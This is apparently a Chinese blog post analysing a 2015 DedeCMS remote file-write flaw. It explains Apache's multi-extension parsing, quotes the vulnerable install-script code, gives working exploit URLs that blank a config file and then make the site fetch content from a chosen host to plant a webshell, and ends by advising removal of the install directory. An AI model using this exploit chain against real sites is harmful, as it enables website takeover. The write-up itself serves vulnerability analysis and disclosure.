黑客的最新Dedecms 0day远程写文件漏洞

网站建设评论49

0x00 漏洞概述

2015年6月17日seclists网站上公布了Dedecms的一个远程getshell漏洞细节,造成这个漏洞的原因也有些让人玩味。官方已 在2015年6月18日发布了修复版本,下载链接:http://www.dedecms.com/products/dedecms /downloads/

本篇文章将分析这个漏洞的成因,并给出触发利用方法。

0x01 漏洞根源

这个漏洞主要由两个原因引起的,其中最重要的一个原因,便是开发者没有认识到Apache服务器解析文件的流程,从而导致安装文件在安装后居然可以被继续访问。这里接单解释下Apache解析文件的流程:

当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名 Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

那么这样的话,像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

了解了Apache解析漏洞,我们就可以继续来看出问题的install/index.php.bak文件代码,问题代码如下:

php  else if($step==11)  {  require_once(\'../data/admin/config_update.php\');  $rmurl = $updateHost.\"dedecms/demodata.{$s_lang}.txt\";  echo $rmurl;  $sql_content = file_get_contents($rmurl);  $fp = fopen($install_demo_name,\'w\');  if(fwrite($fp,$sql_content))  echo \'&nbsp; <font color=\"green\">[√]</font> 存在(您可以选择安装进行体验)\';  else  echo \'&nbsp; <font color=\"red\">[×]</font> 远程获取失败\';  unset($sql_content);  fclose($fp);  exit();

了解Dedecms参数机制的同学都知道,代码中的一些变量我们是可以通过GET参数的方式进行操控的。那么上面代码很明显,可以向指定的文件内写入任意内容,从而导致获取webshell。

0x02 漏洞利用

从代码中我们可以看到在step=11中,先包含了data/admin/config_update.php文件,这文件中指定了updataHost变量的值,这样来看似乎我们没有办法来向指定写内容。但是如果我们指定install_demo_name是config_update.php文件这个文件,并且内容是一个404文件,会造成什么效果呢?

我们先来访问这个url:http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

这会让代码到http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt中取内容写入到config_update.php,demodata.a.txt如下图:

黑客的最新Dedecms 0day远程写文件漏洞-开水网络

访问PoC之后config_update.php文件内容如下图:

黑客的最新Dedecms 0day远程写文件漏洞-开水网络

这样updataHost变量值便没有被初始化了,之后我们想写什么就可以些什么了。这里我们用下面的这个url做测试:http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/tang3.php&updateHost=http://192.168.1.1/

访问http://192.168.204.135/data/tang3.php,效果如下图:

黑客的最新Dedecms 0day远程写文件漏洞-开水网络

0x03 漏洞总结漏洞小结

    影响范围个人评价为“高”,Dedecms在国内使用范围很广,各种中小型网站,政府网站都是用它搭建的。危害性个人评价为“高”,此漏洞在Apache默认环境下,即可获取webshell,危害很大。

防护方案

在安装完成后移除install目录。

 
如何进行内链优化以及外链建设小技巧 网站建设

如何进行内链优化以及外链建设小技巧

站长都知道,外链对于站点排名的重要性,外链的优化对站长来说已经是每天必备的工作。然而,外链的优化确是心酸的历程。每天重复的疯狂论坛灌水,采集文章发博客几乎占据了80%的时间。 外链建设小技巧 当前优化...
网站哪些因素影响网站建设效果 网站建设

网站哪些因素影响网站建设效果

在网站建设中发现很多公司在进行企业网站建设的时候,一味的追求网站的视觉冲击感,从而忽略了网站建设的一个很重要的因素,那就是用户的好感度。一个网站如果想收到用户的喜爱和搜索引擎的信任,就需要在进行网站建...
网站建设

携程5月28日上午国内传言携程被黑

5月28日上午,国内知名的携程旅行网出现故障。据传言是遭到黑客入侵,所有数据被删除,服务器瘫痪。携程说:大家不要在外面乱说,就说正在恢复中,数据一切安全。携程被黑前方多图预警。携程被黑百度被黑,好像是...
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: